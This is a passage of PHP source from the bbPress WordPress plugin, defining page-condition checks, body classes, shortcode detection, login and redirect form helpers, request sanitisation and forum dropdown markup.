 * @since 2.0.0 bbPress (r2549)
 *
 * @param int $post_id Possible post_id to check
 * @return bool True if it's a reply page, false if not
 */
function bbp_is_reply( $post_id = 0 ) {

	// Assume false
	$retval = false;

	// Supplied ID is a reply
	if ( ! empty( $post_id ) && ( bbp_get_reply_post_type() === get_post_type( $post_id ) ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply', $retval, $post_id );
}

/**
 * Check if current page is a reply edit page
 *
 * @since 2.0.0 bbPress (r2753)
 *
 * @return bool True if it's the reply edit page, false if not
 */
function bbp_is_reply_edit() {
	global $pagenow;

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_reply_edit ) && ( true === $wp_query->bbp_is_reply_edit ) ) {
		$retval = true;

	// Editing in admin
	} elseif ( is_admin() && ( 'post.php' === $pagenow ) && ( get_post_type() === bbp_get_reply_post_type() ) && ( ! empty( $_GET['action'] ) && ( 'edit' === $_GET['action'] ) ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply_edit', $retval );
}

/**
 * Check if current page is a reply move page
 *
 * @return bool True if it's the reply move page, false if not
 */
function bbp_is_reply_move() {

	// Assume false
	$retval = false;

	// Check reply edit and GET params
	if ( bbp_is_reply_edit() && ! empty( $_GET['action'] ) && ( 'move' === $_GET['action'] ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_reply_move', $retval );
}

/**
 * Viewing a single reply
 *
 * @since 2.0.0 bbPress (r3344)
 *
 * @return bool
 */
function bbp_is_single_reply() {

	// Assume false
	$retval = false;

	// Edit is not a single reply
	if ( bbp_is_reply_edit() ) {
		return false;
	}

	// Single and a match
	if ( is_singular( bbp_get_reply_post_type() ) || ( bbp_is_query_name( 'bbp_single_reply' ) ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_reply', $retval );
}

/**
 * Check if current page is a bbPress user's favorites page (profile page)
 *
 * @since 2.0.0 bbPress (r2652)
 *
 * @return bool True if it's the favorites page, false if not
 */
function bbp_is_favorites() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_favs ) && ( true === $wp_query->bbp_is_single_user_favs ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_favorites', $retval );
}

/**
 * Check if current page is a bbPress user's subscriptions page (profile page)
 *
 * @since 2.0.0 bbPress (r2652)
 *
 * @return bool True if it's the subscriptions page, false if not
 */
function bbp_is_subscriptions() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_subs ) && ( true === $wp_query->bbp_is_single_user_subs ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_subscriptions', $retval );
}

/**
 * Check if current page shows the topics created by a bbPress user (profile
 * page)
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @return bool True if it's the topics created page, false if not
 */
function bbp_is_topics_created() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_topics ) && ( true === $wp_query->bbp_is_single_user_topics ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topics_created', $retval );
}

/**
 * Check if current page shows the replies created by a bbPress user (profile
 * page)
 *
 * @since 2.2.0 bbPress (r4225)
 *
 * @return bool True if it's the replies created page, false if not
 */
function bbp_is_replies_created() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_replies ) && ( true === $wp_query->bbp_is_single_user_replies ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_replies_created', $retval );
}

/**
 * Check if current page is the currently logged in users author page
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @return bool True if it's the user's home, false if not
 */
function bbp_is_user_home() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_home ) && ( true === $wp_query->bbp_is_single_user_home ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_user_home', $retval );
}

/**
 * Check if current page is the currently logged in users author edit page
 *
 * @since 2.1.0 bbPress (r3918)
 *
 * @return bool True if it's the user's home, false if not
 */
function bbp_is_user_home_edit() {

	// Assume false
	$retval = false;

	if ( bbp_is_user_home() && bbp_is_single_user_edit() ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_user_home_edit', $retval );
}

/**
 * Check if current page is a user profile page
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @return bool True if it's a user's profile page, false if not
 */
function bbp_is_single_user() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user ) && ( true === $wp_query->bbp_is_single_user ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_user', $retval );
}

/**
 * Check if current page is a user profile edit page
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @return bool True if it's a user's profile edit page, false if not
 */
function bbp_is_single_user_edit() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_edit ) && ( true === $wp_query->bbp_is_single_user_edit ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_user_edit', $retval );
}

/**
 * Check if current page is a user profile page
 *
 * @since 2.2.0 bbPress (r4225)
 *
 * @return bool True if it's a user's profile page, false if not
 */
function bbp_is_single_user_profile() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_profile ) && ( true === $wp_query->bbp_is_single_user_profile ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_user_profile', $retval );
}

/**
 * Check if current page is a user topics created page
 *
 * @since 2.2.0 bbPress (r4225)
 *
 * @return bool True if it's a user's topics page, false if not
 */
function bbp_is_single_user_topics() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_topics ) && ( true === $wp_query->bbp_is_single_user_topics ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_user_topics', $retval );
}

/**
 * Check if current page is a user replies created page
 *
 * @since 2.2.0 bbPress (r4225)
 *
 * @return bool True if it's a user's replies page, false if not
 */
function bbp_is_single_user_replies() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_replies ) && ( true === $wp_query->bbp_is_single_user_replies ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_user_replies', $retval );
}

/**
 * Check if current page is a user engagements page
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @return bool True if it's a user's replies page, false if not
 */
function bbp_is_single_user_engagements() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_single_user_engagements ) && ( true === $wp_query->bbp_is_single_user_engagements ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_user_engagements', $retval );
}

/**
 * Check if current page is a view page
 *
 * @since 2.0.0 bbPress (r2789)
 *
 * @global WP_Query $wp_query To check if WP_Query::bbp_is_view is true
 * @return bool Is it a view page?
 */
function bbp_is_single_view() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_view ) && ( true === $wp_query->bbp_is_view ) ) {
		$retval = true;
	}

	// Check query name
	if ( empty( $retval ) && bbp_is_query_name( 'bbp_single_view' ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_view', $retval );
}

/**
 * Check if current page is a search page
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @global WP_Query $wp_query To check if WP_Query::bbp_is_search is true
 * @return bool Is it a search page?
 */
function bbp_is_search() {

	// Bail if search is disabled
	if ( ! bbp_allow_search() ) {
		return false;
	}

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Get the rewrite ID (one time, to avoid repeated calls)
	$rewrite_id = bbp_get_search_rewrite_id();

	// Check query
	if ( ! empty( $wp_query->bbp_is_search ) && ( true === $wp_query->bbp_is_search ) ) {
		$retval = true;
	}

	// Check query name
	if ( empty( $retval ) && bbp_is_query_name( $rewrite_id ) ) {
		$retval = true;
	}

	// Check $_GET
	if ( empty( $retval ) && isset( $_REQUEST[ $rewrite_id ] ) && empty( $_REQUEST[ $rewrite_id ] ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_search', $retval );
}

/**
 * Check if current page is a search results page
 *
 * @since 2.4.0 bbPress (r4919)
 *
 * @global WP_Query $wp_query To check if WP_Query::bbp_is_search is true
 * @return bool Is it a search page?
 */
function bbp_is_search_results() {

	// Bail if search is disabled
	if ( ! bbp_allow_search() ) {
		return false;
	}

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_search_terms ) ) {
		$retval = true;
	}

	// Check query name
	if ( empty( $retval ) && bbp_is_query_name( 'bbp_search_results' ) ) {
		$retval = true;
	}

	// Check $_REQUEST
	if ( empty( $retval ) && ! empty( $_REQUEST[ bbp_get_search_rewrite_id() ] ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_search_results', $retval );
}

/**
 * Check if current page is an edit page
 *
 * @since 2.1.0 bbPress (r3585)
 *
 * @return bool True if it's the edit page, false if not
 */
function bbp_is_edit() {

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_edit ) && ( $wp_query->bbp_is_edit === true ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_edit', $retval );
}

/**
 * Use the above is_() functions to output a body class for each scenario
 *
 * @since 2.0.0 bbPress (r2926)
 *
 * @param array $wp_classes
 * @param array $custom_classes
 * @return array Body Classes
 */
function bbp_body_class( $wp_classes, $custom_classes = false ) {

	$bbp_classes = array();

	/** Archives **************************************************************/

	if ( bbp_is_forum_archive() ) {
		$bbp_classes[] = bbp_get_forum_post_type() . '-archive';

	} elseif ( bbp_is_topic_archive() ) {
		$bbp_classes[] = bbp_get_topic_post_type() . '-archive';

	/** Topic Tags ************************************************************/

	} elseif ( bbp_is_topic_tag() ) {
		$bbp_classes[] = bbp_get_topic_tag_tax_id();
		$bbp_classes[] = bbp_get_topic_tag_tax_id() . '-' . bbp_get_topic_tag_slug();
		$bbp_classes[] = bbp_get_topic_tag_tax_id() . '-' . bbp_get_topic_tag_id();
	} elseif ( bbp_is_topic_tag_edit() ) {
		$bbp_classes[] = bbp_get_topic_tag_tax_id() . '-edit';
		$bbp_classes[] = bbp_get_topic_tag_tax_id() . '-' . bbp_get_topic_tag_slug() . '-edit';
		$bbp_classes[] = bbp_get_topic_tag_tax_id() . '-' . bbp_get_topic_tag_id()   . '-edit';

	/** Components ************************************************************/

	} elseif ( bbp_is_single_forum() ) {
		$bbp_classes[] = bbp_get_forum_post_type();

	} elseif ( bbp_is_single_topic() ) {
		$bbp_classes[] = bbp_get_topic_post_type();

	} elseif ( bbp_is_single_reply() ) {
		$bbp_classes[] = bbp_get_reply_post_type();

	} elseif ( bbp_is_topic_edit() ) {
		$bbp_classes[] = bbp_get_topic_post_type() . '-edit';

	} elseif ( bbp_is_topic_merge() ) {
		$bbp_classes[] = bbp_get_topic_post_type() . '-merge';

	} elseif ( bbp_is_topic_split() ) {
		$bbp_classes[] = bbp_get_topic_post_type() . '-split';

	} elseif ( bbp_is_reply_edit() ) {
		$bbp_classes[] = bbp_get_reply_post_type() . '-edit';

	} elseif ( bbp_is_reply_move() ) {
		$bbp_classes[] = bbp_get_reply_post_type() . '-move';

	} elseif ( bbp_is_single_view() ) {
		$bbp_classes[] = 'bbp-view';
		$bbp_classes[] = 'bbp-view-' . bbp_get_view_id();

	/** User ******************************************************************/

	} elseif ( bbp_is_single_user_edit() ) {
		$bbp_classes[] = 'bbp-user-edit';
		$bbp_classes[] = 'single';
		$bbp_classes[] = 'singular';

	} elseif ( bbp_is_single_user() ) {
		$bbp_classes[] = 'bbp-user-page';
		$bbp_classes[] = 'single';
		$bbp_classes[] = 'singular';

	} elseif ( bbp_is_user_home() ) {
		$bbp_classes[] = 'bbp-user-home';
		$bbp_classes[] = 'single';
		$bbp_classes[] = 'singular';

	} elseif ( bbp_is_user_home_edit() ) {
		$bbp_classes[] = 'bbp-user-home-edit';
		$bbp_classes[] = 'single';
		$bbp_classes[] = 'singular';

	} elseif ( bbp_is_topics_created() ) {
		$bbp_classes[] = 'bbp-topics-created';
		$bbp_classes[] = 'single';
		$bbp_classes[] = 'singular';

	} elseif ( bbp_is_replies_created() ) {
		$bbp_classes[] = 'bbp-replies-created';
		$bbp_classes[] = 'single';
		$bbp_classes[] = 'singular';

	} elseif ( bbp_is_favorites() ) {
		$bbp_classes[] = 'bbp-favorites';
		$bbp_classes[] = 'single';
		$bbp_classes[] = 'singular';

	} elseif ( bbp_is_subscriptions() ) {
		$bbp_classes[] = 'bbp-subscriptions';
		$bbp_classes[] = 'single';
		$bbp_classes[] = 'singular';

	/** Search ****************************************************************/

	} elseif ( bbp_is_search() ) {
		$bbp_classes[] = 'bbp-search';
		$bbp_classes[] = 'forum-search';

	} elseif ( bbp_is_search_results() ) {
		$bbp_classes[] = 'bbp-search-results';
		$bbp_classes[] = 'forum-search-results';

	/** Shortcodes ************************************************************/

	} elseif ( bbp_has_shortcode() ) {
		$bbp_classes[] = 'bbp-shortcode';
	}

	/** Clean up **************************************************************/

	// Add bbPress class if we are within a bbPress page
	if ( ! empty( $bbp_classes ) ) {
		$bbp_classes[] = 'bbpress';
	}

	// Merge WP classes with bbPress classes and remove any duplicates
	$classes = array_unique( array_merge( (array) $bbp_classes, (array) $wp_classes ) );

	// Deprecated filter (do not use)
	$classes = apply_filters( 'bbp_get_the_body_class', $classes, $bbp_classes, $wp_classes, $custom_classes );

	// Filter & return
	return (array) apply_filters( 'bbp_body_class', $classes, $bbp_classes, $wp_classes, $custom_classes );
}

/**
 * Check if text contains a bbPress shortcode.
 *
 * Loops through registered bbPress shortcodes and keeps track of which ones
 * were used in a blob of text. If no text is passed, the current global post
 * content is assumed.
 *
 * A preliminary strpos() is performed before looping through each shortcode, to
 * prevent unnecessarily processing.
 *
 * @since 2.6.0
 *
 * @param string $text
 * @return bool
 */
function bbp_has_shortcode( $text = '' ) {

	// Default return value
	$retval = false;
	$found  = array();

	// Fallback to global post_content
	if ( empty( $text ) && is_singular() ) {
		$text = bbp_get_global_post_field( 'post_content', 'raw' );
	}

	// Skip if empty, or string doesn't contain the bbPress shortcode prefix
	if ( ! empty( $text ) && ( false !== strpos( $text, '[bbp' ) ) ) {

		// Get possible shortcodes
		$codes = array_keys( bbpress()->shortcodes->codes );

		// Loop through codes
		foreach ( $codes as $code ) {

			// Looking for shortcode in text
			if ( has_shortcode( $text, $code ) ) {
				$retval  = true;
				$found[] = $code;
			}
		}
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_has_shortcode', $retval, $found, $text );
}

/**
 * Use the above is_() functions to return if in any bbPress page
 *
 * @since 2.0.0 bbPress (r3344)
 *
 * @return bool In a bbPress page
 */
function is_bbpress() {

	// Default to false
	$retval = false;

	// Bail if main query has not been populated.
	if ( ! bbp_get_wp_query() ) {
		_doing_it_wrong( __FUNCTION__, esc_html__( 'Conditional query tags do not work before the query is run. Before then, they always return false.', 'bbpress' ), '2.7.0' );
		return $retval;
	}

	/** Archives **************************************************************/

	if ( bbp_is_forum_archive() ) {
		$retval = true;

	} elseif ( bbp_is_topic_archive() ) {
		$retval = true;

	/** Topic Tags ************************************************************/

	} elseif ( bbp_is_topic_tag() ) {
		$retval = true;

	} elseif ( bbp_is_topic_tag_edit() ) {
		$retval = true;

	/** Components ************************************************************/

	} elseif ( bbp_is_single_forum() ) {
		$retval = true;

	} elseif ( bbp_is_single_topic() ) {
		$retval = true;

	} elseif ( bbp_is_single_reply() ) {
		$retval = true;

	} elseif ( bbp_is_topic_edit() ) {
		$retval = true;

	} elseif ( bbp_is_topic_merge() ) {
		$retval = true;

	} elseif ( bbp_is_topic_split() ) {
		$retval = true;

	} elseif ( bbp_is_reply_edit() ) {
		$retval = true;

	} elseif ( bbp_is_reply_move() ) {
		$retval = true;

	} elseif ( bbp_is_single_view() ) {
		$retval = true;

	/** User ******************************************************************/

	} elseif ( bbp_is_single_user_edit() ) {
		$retval = true;

	} elseif ( bbp_is_single_user() ) {
		$retval = true;

	} elseif ( bbp_is_user_home() ) {
		$retval = true;

	} elseif ( bbp_is_user_home_edit() ) {
		$retval = true;

	} elseif ( bbp_is_topics_created() ) {
		$retval = true;

	} elseif ( bbp_is_replies_created() ) {
		$retval = true;

	} elseif ( bbp_is_favorites() ) {
		$retval = true;

	} elseif ( bbp_is_subscriptions() ) {
		$retval = true;

	/** Search ****************************************************************/

	} elseif ( bbp_is_search() ) {
		$retval = true;

	} elseif ( bbp_is_search_results() ) {
		$retval = true;

	/** Shortcodes ************************************************************/

	} elseif ( bbp_has_shortcode() ) {
		$retval = true;
	}

	/** Done ******************************************************************/

	// Filter & return
	return (bool) apply_filters( 'is_bbpress', $retval );
}

/** Forms *********************************************************************/

/**
 * Output the login form action url
 *
 * @since 2.0.0 bbPress (r2815)
 *
 * @param array $args This function supports these arguments:
 *  - action: The action being taken
 *  - context: The context the action is being taken from
 */
function bbp_wp_login_action( $args = array() ) {
	echo esc_url( bbp_get_wp_login_action( $args ) );
}

	/**
	 * Return the login form action url
	 *
	 * @since 2.6.0 bbPress (r5684)
	 *
	 * @param array $args This function supports these arguments:
	 *  - action: The action being taken
	 *  - context: The context the action is being taken from
	 */
	function bbp_get_wp_login_action( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'action'  => '',
			'context' => '',
			'url'     => 'wp-login.php'
		), 'login_action' );

		// Add action as query arg
		$login_url = ! empty( $r['action'] )
			? add_query_arg( array( 'action' => $r['action'] ), $r['url'] )
			: $r['url'];

		$login_url = site_url( $login_url, $r['context'] );

		// Filter & return
		return apply_filters( 'bbp_get_wp_login_action', $login_url, $r, $args );
	}

/**
 * Output hidden request URI field for user forms.
 *
 * The referer link is the current Request URI from the server super global. To
 * check the field manually, use bbp_get_redirect_to().
 *
 * @since 2.0.0 bbPress (r2815)
 *
 * @param string $redirect_to Pass a URL to redirect to
 */
function bbp_redirect_to_field( $redirect_to = '' ) {

	// Make sure we are directing somewhere
	if ( empty( $redirect_to ) ) {
		if ( isset( $_SERVER['REQUEST_URI'] ) ) {
			$redirect_to = bbp_get_url_scheme() . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
		} else {
			$redirect_to = wp_get_referer();
		}
	}

	// Remove loggedout query arg if it's there
	$redirect_to    = remove_query_arg( 'loggedout', $redirect_to );
	$redirect_field = '<input type="hidden" id="bbp_redirect_to" name="redirect_to" value="' . esc_url( $redirect_to ) . '" />';

	// Filter & return
	echo apply_filters( 'bbp_redirect_to_field', $redirect_field, $redirect_to );
}

/**
 * Echo sanitized $_REQUEST value.
 *
 * Use the $input_type parameter to properly process the value. This
 * ensures correct sanitization of the value for the receiving input.
 *
 * @since 2.0.0 bbPress (r2815)
 *
 * @param string $request Name of $_REQUEST to look for
 * @param string $input_type Type of input. Default: text. Accepts:
 *                            textarea|password|select|radio|checkbox
 */
function bbp_sanitize_val( $request = '', $input_type = 'text' ) {
	echo bbp_get_sanitize_val( $request, $input_type );
}
	/**
	 * Return sanitized $_REQUEST value.
	 *
	 * Use the $input_type parameter to properly process the value. This
	 * ensures correct sanitization of the value for the receiving input.
	 *
	 * @since 2.0.0 bbPress (r2815)
	 *
	 * @param string $request Name of $_REQUEST to look for
	 * @param string $input_type Type of input. Default: text. Accepts:
	 *                            textarea|password|select|radio|checkbox
	 *
	 * @return string Sanitized value ready for screen display
	 */
	function bbp_get_sanitize_val( $request = '', $input_type = 'text' ) {

		// Check that requested
		if ( empty( $_REQUEST[ $request ] ) ) {
			return false;
		}

		// Set request varaible
		$pre_ret_val = $_REQUEST[ $request ];

		// Treat different kinds of fields in different ways
		switch ( $input_type ) {
			case 'text'     :
			case 'textarea' :
				$retval = esc_attr( wp_unslash( $pre_ret_val ) );
				break;

			case 'password' :
			case 'select'   :
			case 'radio'    :
			case 'checkbox' :
			default :
				$retval = esc_attr( $pre_ret_val );
				break;
		}

		// Filter & return
		return apply_filters( 'bbp_get_sanitize_val', $retval, $request, $input_type );
	}

/**
 * Output the current tab index of a given form
 *
 * Use this function to handle the tab indexing of user facing forms within a
 * template file. Calling this function will automatically increment the global
 * tab index by default.
 *
 * @since 2.0.0 bbPress (r2810)
 *
 * @deprecated 2.6.0 bbPress (r5561)
 *
 * @link https://bbpress.trac.wordpress.org/attachment/ticket/2714 Trac Ticket
 * @param int $auto_increment Optional. Default true. Set to false to prevent
 *                             increment
 */
function bbp_tab_index( $auto_increment = true ) {
	echo bbp_get_tab_index( $auto_increment );
}

	/**
	 * Return the current tab index of a given form
	 *
	 * Use this function to handle the tab indexing of user facing forms
	 * within a template file. Calling this function will automatically
	 * increment the global tab index by default.
	 *
	 * @since 2.0.0 bbPress (r2810)
	 *
	 * @deprecated 2.6.0 bbPress (r5561)
	 *
	 * @link https://bbpress.trac.wordpress.org/attachment/ticket/2714 Trac Ticket
	 * @param int $auto_increment Optional. Default true. Set to false to
	 *                             prevent the increment
	 * @return int $bbp->tab_index The global tab index
	 */
	function bbp_get_tab_index( $auto_increment = true ) {
		$bbp = bbpress();

		if ( true === $auto_increment ) {
			++$bbp->tab_index;
		}

		// Filter & return
		return apply_filters( 'bbp_get_tab_index', (int) $bbp->tab_index );
	}

/**
 * Output a "tabindex" attribute for an element, if an index was passed.
 *
 * This helper function is in use, but it is generally considered impolite to
 * override the "tabindex" attribute beyond what the browser naturally assigns.
 *
 * Most internal usages pass `false` which results in no attribute being used.
 *
 * @since 2.6.0 bbPress (r6424)
 *
 * @param mixed $tab False to skip, any integer to use
 */
function bbp_tab_index_attribute( $tab = false ) {
	echo bbp_get_tab_index_attribute( $tab );
}

	/**
	 * Return a "tabindex" attribute for an element, if an index was passed.
	 *
	 * This helper function is in use, but it is generally considered impolite to
	 * override the "tabindex" attribute beyond what the browser naturally assigns.
	 *
	 * Most internal usages pass `false` which results in no attribute being used.
	 *
	 * @since 2.6.0 bbPress (r6424)
	 *
	 * @param mixed $tab False to skip, any integer to use
	 *
	 * @return string
	 */
	function bbp_get_tab_index_attribute( $tab = false ) {

		// Get attribute
		$attr = is_numeric( $tab )
			? ' tabindex="' . (int) $tab . '"'
			: '';

		// Filter & return
		return apply_filters( 'bbp_get_tab_index_attribute', $attr, $tab );
	}

/**
 * Output a select box allowing to pick which forum/topic a new topic/reply
 * belongs in.
 *
 * Can be used for any post type, but is mostly used for topics and forums.
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param array $args See {@link bbp_get_dropdown()} for arguments
 */
function bbp_dropdown( $args = array() ) {
	echo bbp_get_dropdown( $args );
}
	/**
	 * Return a select box allowing to pick which forum/topic a new
	 * topic/reply belongs in.
	 *
	 * @since 2.0.0 bbPress (r2746)
	 *
	 * @param array $args The function supports these args:
	 *  - post_type: Post type, defaults to bbp_get_forum_post_type() (bbp_forum)
	 *  - selected: Selected ID, to not have any value as selected, pass
	 *               anything smaller than 0 (due to the nature of select
	 *               box, the first value would of course be selected -
	 *               though you can have that as none (pass 'show_none' arg))
	 *  - orderby: Defaults to 'menu_order title'
	 *  - post_parent: Post parent. Defaults to 0
	 *  - post_status: Which all post_statuses to find in? Can be an array
	 *                  or CSV of publish, category, closed, private, spam,
	 *                  trash (based on post type) - if not set, these are
	 *                  automatically determined based on the post_type
	 *  - posts_per_page: Retrieve all forums/topics. Defaults to -1 to get
	 *                     all posts
	 *  - walker: Which walker to use? Defaults to
	 *             {@link BBP_Walker_Dropdown}
	 *  - select_id: ID of the select box. Defaults to 'bbp_forum_id'
	 *  - tab: Deprecated. Tabindex value. False or integer
	 *  - options_only: Show only <options>? No <select>?
	 *  - show_none: Boolean or String __( '&mdash; No Forum &mdash;', 'bbpress' )
	 *  - disable_categories: Disable forum categories and closed forums?
	 *                         Defaults to true. Only for forums and when
	 * @return string The dropdown
	 */
	function bbp_get_dropdown( $args = array() ) {

		// Setup return value
		$retval = '';

		/** Arguments *********************************************************/

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(

			// Support for get_posts()
			'post_type'          => bbp_get_forum_post_type(),
			'post_parent'        => null,
			'post_status'        => null,
			'selected'           => 0,
			'include'            => array(),
			'exclude'            => array(),
			'numberposts'        => -1,
			'orderby'            => 'menu_order title',
			'order'              => 'ASC',

			// Preloaded content
			'posts'              => array(),

			// Custom hierarchy walkers
			'walker'             => '',

			// Output-related
			'select_id'          => 'bbp_forum_id',
			'select_class'       => 'bbp_dropdown',
			'tab'                => false,
			'options_only'       => false,
			'show_none'          => false,
			'disable_categories' => true,
			'disabled'           => ''
		), 'get_dropdown' );

		// Fallback to our walker
		if ( empty( $r['walker'] ) ) {
			$r['walker']            = new BBP_Walker_Dropdown();
			$r['walker']->tree_type = $r['post_type'];
		}

		// Force 0
		if ( is_numeric( $r['selected'] ) && ( $r['selected'] < 0 ) ) {
			$r['selected'] = 0;
		}

		// Force array
		if ( ! empty( $r['include'] ) && ! is_array( $r['include'] ) ) {
			$r['include'] = explode( ',', $r['include'] );
		}

		// Force array
		if ( ! empty( $r['exclude'] ) && ! is_array( $r['exclude'] ) ) {
			$r['exclude'] = explode( ',', $r['exclude'] );
		}

		/** Setup Posts *******************************************************/

		/**
		 * Allow passing of custom posts data
		 *
		 * @see bbp_get_reply_to_dropdown() as an example
		 */
		if ( empty( $r['posts'] ) ) {
			$r['posts'] = get_posts( array(
				'post_type'   => $r['post_type'],
				'post_status' => $r['post_status'],
				'post_parent' => $r['post_parent'],
				'include'     => $r['include'],
				'exclude'     => $r['exclude'],
				'numberposts' => $r['numberposts'],
				'orderby'     => $r['orderby'],
				'order'       => $r['order'],
			) );
		}

		/** Drop Down *********************************************************/

		// Build the opening tag for the select element
		if ( empty( $r['options_only'] ) ) {

			// Should this select appear disabled?
			$disabled  = disabled( isset( bbpress()->options[ $r['disabled'] ] ), true, false );

			// Setup the tab index attribute
			$tab       = ! empty( $r['tab'] ) ? ' tabindex="' . intval( $r['tab'] ) . '"' : '';

			// Open the select tag
			$retval   .= '<select name="' . esc_attr( $r['select_id'] ) . '" id="' . esc_attr( $r['select_id'] ) . '" class="' . esc_attr( $r['select_class'] ) . '"' . $disabled . $tab . '>' . "\n";
		}

		// Display a leading 'no-value' option, with or without custom text
		if ( ! empty( $r['show_none'] ) || ! empty( $r['none_found'] ) ) {

			// Open the 'no-value' option tag
			$retval .= "\t<option value=\"\" class=\"level-0\">";

			// Use deprecated 'none_found' first for backpat
			if ( ! empty( $r['none_found'] ) && is_string( $r['none_found'] ) ) {
				$retval .= esc_html( $r['none_found'] );

			// Use 'show_none' second
			} elseif ( ! empty( $r['show_none'] ) && is_string( $r['show_none'] ) ) {
				$retval .= esc_html( $r['show_none'] );

			// Otherwise, make some educated guesses
			} else {

				// Switch the response based on post type
				switch ( $r['post_type'] ) {

					// Topics
					case bbp_get_topic_post_type() :
						$retval .= esc_html__( 'No topics available', 'bbpress' );
						break;

					// Forums
					case bbp_get_forum_post_type() :
						$retval .= esc_html__( 'No forums available', 'bbpress' );
						break;

					// Any other
					default :
						$retval .= esc_html__( 'None available', 'bbpress' );
						break;
				}
			}

			// Close the 'no-value' option tag
			$retval .= '</option>';
		}

		// Items found so walk the tree
		if ( ! empty( $r['posts'] ) ) {
			$retval .= walk_page_dropdown_tree( $r['posts'], 0, $r );
		}

		// Close the selecet tag
		if ( empty( $r['options_only'] ) ) {
			$retval .= '</select>';
		}

		// Filter & return
		return apply_filters( 'bbp_get_dropdown', $retval, $r, $args );
	}

/**
 * Output the required hidden fields when creating/editing a forum
 *
 * @since 2.1.0 bbPress (r3553)
 */
function bbp_forum_form_fields() {

	if ( bbp_is_forum_edit() ) : ?>

		<input type="hidden" name="action"       id="bbp_post_action" value="bbp-edit-forum" />
		<input type="hidden" name="bbp_forum_id" id="bbp_forum_id"    value="<?php bbp_forum_id(); ?>" />

		<?php if ( current_user_can( 'unfiltered_html' ) ) :
			wp_nonce_field( 'bbp-unfiltered-html-forum_' . bbp_get_forum_id(), '_bbp_unfiltered_html_forum', false );
		endif; ?>

		<?php wp_nonce_field( 'bbp-edit-forum_' . bbp_get_forum_id() );

	else :

		if ( bbp_is_single_forum() ) : ?>

			<input type="hidden" name="bbp_forum_parent_id" id="bbp_forum_parent_id" value="<?php bbp_forum_parent_id(); ?>" />

		<?php endif; ?>

		<input type="hidden" name="action" id="bbp_post_action" value="bbp-new-forum" />

		<?php if ( current_user_can( 'unfiltered_html' ) ) :
